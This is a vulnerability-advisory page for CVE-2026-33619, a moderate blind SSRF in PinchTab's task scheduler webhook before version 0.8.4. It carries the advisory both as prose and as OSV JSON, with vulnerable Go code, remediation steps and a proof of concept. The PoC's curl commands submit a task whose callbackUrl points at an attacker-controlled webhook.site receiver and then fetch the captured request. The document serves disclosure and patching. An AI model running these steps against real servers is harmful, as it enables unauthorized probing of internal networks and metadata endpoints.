CVE-2026-33619: Github.com/pinchtab/pinchtab PinchTab Has Unauthenticated Blind SSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-xqq2-4j46-vwp7
CVSS 4.1
CWE-918
Published
Advisory Summary

CVE-2026-33619 is a MODERATE (CVSS 4.1) pinchtab has unauthenticated blind ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/pinchtab/pinchtab libraries in the Go ecosystem. The issue involves pinchtab has unauthenticated blind ssrf in task scheduler via unvalidated callbackurl. Remediation is available by upgrading affected packages to version 0.8.4.

CVE-2026-33619 at a Glance

CVE Identifier CVE-2026-33619
GHSA Identifier GHSA-xqq2-4j46-vwp7
Severity MODERATE
CVSS v3.1 Base Score 4.1
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Github.com/pinchtab/pinchtab
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-33619

To remediate this vulnerability, upgrade all affected Github.com/pinchtab/pinchtab dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/pinchtab/pinchtab fixed: 0.8.4
Upgrade github.com/pinchtab/pinchtab to 0.8.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/pinchtab/pinchtab

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33619, inspect your project dependencies for Github.com/pinchtab/pinchtab:

inspect dependencies for github.com/pinchtab/pinchtab

Analyze the terminal output to locate any version of Github.com/pinchtab/pinchtab in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/pinchtab/pinchtab, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary PinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to `POST /tasks` with a user-controlled `callbackUrl`, the v0.8.3 scheduler sends an outbound HTTP `POST` to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations. Because the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server. This issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server's master API token. In PinchTab's intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself. PinchTab's default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable. This was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating `callbackUrl` during task submission. ### Details **Issue 1 - Webhook dispatch validated only scheme in v0.8.3 (`internal/scheduler/webhook.go`):** The vulnerable `sendWebhook()` implementation accepted any `http` or `https` URL and dispatched the outbound request without destination IP validation: ```go // internal/scheduler/webhook.go - v0.8.3 parsed, err := url.Parse(callbackURL) if parsed.Scheme != "http" && parsed.Scheme != "https" { slog.Warn("webhook: unsupported scheme", ...) return } req, _ := http.NewRequest(http.MethodPost, callbackURL, bytes.NewReader(payload)) resp, err := webhookClient.Do(req) ``` In v0.8.3 there was no hostname resolution and no rejection of loopback, private, link-local, or other non-public addresses before dispatch. **Issue 2 - `callbackUrl` was accepted without server-side validation in v0.8.3 (`internal/scheduler/task.go`):** The task submission schema accepted a user-controlled `callbackUrl`, and the v0.8.3 request validation logic did not validate it: ```go // internal/scheduler/task.go - v0.8.3 type SubmitRequest struct { AgentID string `json:"agentId"` Action string `json:"action"` CallbackURL string `json:"callbackUrl,omitempty"` } func (r *SubmitRequest) Validate() error { if r.AgentID == "" { return fmt.Errorf("missing required field 'agentId'") } if r.Action == "" { return fmt.Errorf("missing required field 'action'") } return nil } ``` This meant a user-supplied `callbackUrl` flowed into webhook delivery without early rejection. **Issue 3 - Redirects were followed in v0.8.3:** The v0.8.3 webhook client used the default `http.Client`, so redirects were followed. That made the SSRF broader than the initially supplied URL alone, because an attacker-controlled external endpoint could redirect the server to a second destination. ### PoC **Prerequisites** - PinchTab `v0.8.3` - `scheduler.enabled: true` because the scheduler is off by default - The attacker can submit tasks to `POST /tasks` - In token-protected deployments, this requires the master API token - In deployments intentionally or accidentally running without a token, the barrier is lower, but that is separate from the webhook bug itself - An attacker-controlled HTTP listener to receive and log the outbound request Enable scheduler if required: ```bash curl -s -X PUT http://TARGET:9867/api/config \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '{"scheduler":{"enabled":true}}' ``` Restart PinchTab after changing config. **Execution** Submit a task with an attacker-controlled `callbackUrl`. A valid `tabId` is not required because the webhook fires for terminal task states, including failure: ```bash curl -s -X POST http://TARGET:9867/tasks \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '{ "agentId": "poc-agent", "action": "navigate", "params": {"url": "https://example.com"}, "callbackUrl": "https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19" }' ``` Confirm the task was accepted: ```json { "createdAt": "2026-03-18T10:02:39.847097+07:00", "position": 1, "state": "queued", "taskId": "tsk_2633324a" } ``` Poll task state: ```bash curl -s -H "Authorization: Bearer <token>" http://TARGET:9867/tasks/tsk_2633324a ``` Example result: ```json { "taskId": "tsk_2633324a", "state": "failed", "error": "tabId is required for task execution", "callbackUrl": "https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19", "completedAt": "2026-03-18T10:02:39.858043+07:00" } ``` Query the attacker-controlled receiver for the inbound POST: ```bash curl -s "https://webhook.site/token/c4030a47-259a-4ea4-ae34-fdbf96914b19/requests" \ | python3 -m json.tool ``` **Observation** 1. The task is accepted and reaches a terminal state. 2. The attacker-controlled receiver logs an inbound POST originating from the PinchTab server's egress address. 3. The webhook includes the task snapshot payload and PinchTab-specific headers, confirming server-side delivery. 4. In v0.8.3, the same dispatch path can be directed at internal or non-public HTTP targets reachable from the server. 5. This PoC demonstrates blind outbound request capability; it does not by itself demonstrate response-body disclosure or automatic cloud credential theft. ### Impact 1. Blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets when the optional scheduler is enabled and reachable. 2. Potential interaction with internal HTTP services or metadata endpoints that are reachable from the server but not from the attacker directly. 3. Limited direct confidentiality impact because the webhook is a fixed outbound POST and the response body is not returned to the attacker through the task API. 4. Potential low-integrity impact where internal services accept unauthenticated POST requests and perform state-changing actions. 5. Practical risk is lower in the documented default local-first deployment model, where loopback bind, generated tokens, and a disabled scheduler reduce exposure. ### Suggested Remediation Apply the same outbound destination controls used for safer HTTP egress paths to scheduler webhook delivery. Specifically: 1. Resolve the hostname of `callbackUrl` before dispatch and reject loopback, private, link-local, multicast, unspecified, and other non-public IP ranges. 2. Pin delivery to the validated IP set instead of relying on fresh DNS resolution during connect. 3. Reject redirects or re-validate every redirect target before following it. 4. Validate `callbackUrl` during task submission so unsafe targets fail early instead of only at delivery time. 5. Optionally add an allowlist for approved webhook destinations if operators need narrowly scoped internal receivers. ### Evidence Capture **Exploit** <img width="2864" height="1387" alt="new" src="https://github.com/user-attachments/assets/b7b5cf31-c463-4e25-adff-fc8798f1f33b" /> **Verify** <img width="2866" height="1474" alt="web" src="https://github.com/user-attachments/assets/65391b00-8df5-4c3c-8789-eb100f65b301" />

CVE-2026-33619 Affected Github.com/pinchtab/pinchtab Versions

1 component(s)
Fixed Versions:
0.8.4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/pinchtab/pinchtab
Go
< 0.8.4
0.8.4

References

Frequently Asked Questions

What is CVE-2026-33619?
CVE-2026-33619 is a security vulnerability in Github.com/pinchtab/pinchtab involving PinchTab has Unauthenticated Blind SSRF in Task Scheduler via Unvalidated callbackUrl under CWE-918: Server-Side Request Forgery (SSRF).
Which Github.com/pinchtab/pinchtab versions are affected?
Affected versions include releases prior to 0.8.4 across affected packages: github.com/pinchtab/pinchtab.
What version fixes CVE-2026-33619?
Upgrading to 0.8.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/pinchtab/pinchtab affected?
Yes, github.com/pinchtab/pinchtab is affected in releases prior to 0.8.4. Upgrade your dependency to 0.8.4 or later.
What is the CVSS score of CVE-2026-33619?
CVE-2026-33619 has a CVSS v3.1 base score of 4.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N.
What CWE is associated with CVE-2026-33619?
CVE-2026-33619 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-33619?
Run the dependency tree command: 'inspect dependencies for github.com/pinchtab/pinchtab'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xqq2-4j46-vwp7",
  "modified" : "2026-04-27T16:18:18Z",
  "published" : "2026-03-24T19:32:21Z",
  "aliases" : [ "CVE-2026-33619" ],
  "summary" : "PinchTab has Unauthenticated Blind SSRF in Task Scheduler via Unvalidated callbackUrl",
  "details" : "### Summary\nPinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to `POST /tasks` with a user-controlled `callbackUrl`, the v0.8.3 scheduler sends an outbound HTTP `POST` to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations.\n\nBecause the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server.\n\nThis issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server's master API token. In PinchTab's intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself.\n\nPinchTab's default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable.\n\nThis was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating `callbackUrl` during task submission.\n\n### Details\n**Issue 1 - Webhook dispatch validated only scheme in v0.8.3 (`internal/scheduler/webhook.go`):**\nThe vulnerable `sendWebhook()` implementation accepted any `http` or `https` URL and dispatched the outbound request without destination IP validation:\n\n```go\n// internal/scheduler/webhook.go - v0.8.3\nparsed, err := url.Parse(callbackURL)\nif parsed.Scheme != \"http\" && parsed.Scheme != \"https\" {\n    slog.Warn(\"webhook: unsupported scheme\", ...)\n    return\n}\n\nreq, _ := http.NewRequest(http.MethodPost, callbackURL, bytes.NewReader(payload))\nresp, err := webhookClient.Do(req)\n```\n\nIn v0.8.3 there was no hostname resolution and no rejection of loopback, private, link-local, or other non-public addresses before dispatch.\n\n**Issue 2 - `callbackUrl` was accepted without server-side validation in v0.8.3 (`internal/scheduler/task.go`):**\nThe task submission schema accepted a user-controlled `callbackUrl`, and the v0.8.3 request validation logic did not validate it:\n\n```go\n// internal/scheduler/task.go - v0.8.3\ntype SubmitRequest struct {\n    AgentID     string         `json:\"agentId\"`\n    Action      string         `json:\"action\"`\n    CallbackURL string         `json:\"callbackUrl,omitempty\"`\n}\n\nfunc (r *SubmitRequest) Validate() error {\n    if r.AgentID == \"\" {\n        return fmt.Errorf(\"missing required field 'agentId'\")\n    }\n    if r.Action == \"\" {\n        return fmt.Errorf(\"missing required field 'action'\")\n    }\n    return nil\n}\n```\n\nThis meant a user-supplied `callbackUrl` flowed into webhook delivery without early rejection.\n\n**Issue 3 - Redirects were followed in v0.8.3:**\nThe v0.8.3 webhook client used the default `http.Client`, so redirects were followed. That made the SSRF broader than the initially supplied URL alone, because an attacker-controlled external endpoint could redirect the server to a second destination.\n\n### PoC\n**Prerequisites**\n\n- PinchTab `v0.8.3`\n- `scheduler.enabled: true` because the scheduler is off by default\n- The attacker can submit tasks to `POST /tasks`\n- In token-protected deployments, this requires the master API token\n- In deployments intentionally or accidentally running without a token, the barrier is lower, but that is separate from the webhook bug itself\n- An attacker-controlled HTTP listener to receive and log the outbound request\n\nEnable scheduler if required:\n\n```bash\ncurl -s -X PUT http://TARGET:9867/api/config \\\n  -H \"Authorization: Bearer <token>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"scheduler\":{\"enabled\":true}}'\n```\n\nRestart PinchTab after changing config.\n\n**Execution**\nSubmit a task with an attacker-controlled `callbackUrl`. A valid `tabId` is not required because the webhook fires for terminal task states, including failure:\n\n```bash\ncurl -s -X POST http://TARGET:9867/tasks \\\n  -H \"Authorization: Bearer <token>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"agentId\": \"poc-agent\",\n    \"action\": \"navigate\",\n    \"params\": {\"url\": \"https://example.com\"},\n    \"callbackUrl\": \"https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19\"\n  }'\n```\n\nConfirm the task was accepted:\n\n```json\n{\n  \"createdAt\": \"2026-03-18T10:02:39.847097+07:00\",\n  \"position\": 1,\n  \"state\": \"queued\",\n  \"taskId\": \"tsk_2633324a\"\n}\n```\n\nPoll task state:\n\n```bash\ncurl -s -H \"Authorization: Bearer <token>\" http://TARGET:9867/tasks/tsk_2633324a\n```\n\nExample result:\n\n```json\n{\n  \"taskId\": \"tsk_2633324a\",\n  \"state\": \"failed\",\n  \"error\": \"tabId is required for task execution\",\n  \"callbackUrl\": \"https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19\",\n  \"completedAt\": \"2026-03-18T10:02:39.858043+07:00\"\n}\n```\n\nQuery the attacker-controlled receiver for the inbound POST:\n\n```bash\ncurl -s \"https://webhook.site/token/c4030a47-259a-4ea4-ae34-fdbf96914b19/requests\" \\\n  | python3 -m json.tool\n```\n\n**Observation**\n1. The task is accepted and reaches a terminal state.\n2. The attacker-controlled receiver logs an inbound POST originating from the PinchTab server's egress address.\n3. The webhook includes the task snapshot payload and PinchTab-specific headers, confirming server-side delivery.\n4. In v0.8.3, the same dispatch path can be directed at internal or non-public HTTP targets reachable from the server.\n5. This PoC demonstrates blind outbound request capability; it does not by itself demonstrate response-body disclosure or automatic cloud credential theft.\n\n### Impact\n1. Blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets when the optional scheduler is enabled and reachable.\n2. Potential interaction with internal HTTP services or metadata endpoints that are reachable from the server but not from the attacker directly.\n3. Limited direct confidentiality impact because the webhook is a fixed outbound POST and the response body is not returned to the attacker through the task API.\n4. Potential low-integrity impact where internal services accept unauthenticated POST requests and perform state-changing actions.\n5. Practical risk is lower in the documented default local-first deployment model, where loopback bind, generated tokens, and a disabled scheduler reduce exposure.\n\n### Suggested Remediation\nApply the same outbound destination controls used for safer HTTP egress paths to scheduler webhook delivery. Specifically:\n\n1. Resolve the hostname of `callbackUrl` before dispatch and reject loopback, private, link-local, multicast, unspecified, and other non-public IP ranges.\n2. Pin delivery to the validated IP set instead of relying on fresh DNS resolution during connect.\n3. Reject redirects or re-validate every redirect target before following it.\n4. Validate `callbackUrl` during task submission so unsafe targets fail early instead of only at delivery time.\n5. Optionally add an allowlist for approved webhook destinations if operators need narrowly scoped internal receivers.\n\n### Evidence Capture\n**Exploit**\n\n<img width=\"2864\" height=\"1387\" alt=\"new\" src=\"https://github.com/user-attachments/assets/b7b5cf31-c463-4e25-adff-fc8798f1f33b\" />\n\n**Verify**\n\n<img width=\"2866\" height=\"1474\" alt=\"web\" src=\"https://github.com/user-attachments/assets/65391b00-8df5-4c3c-8789-eb100f65b301\" />",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/pinchtab/pinchtab"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-xqq2-4j46-vwp7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33619"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pinchtab/pinchtab/commit/c824574c3a05073dec2f5e9c219e22ffff8de445"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pinchtab/pinchtab"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pinchtab/pinchtab/releases/tag/v0.8.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-24T19:32:21Z",
    "nvd_published_at" : "2026-03-26T21:17:06Z"
  }
}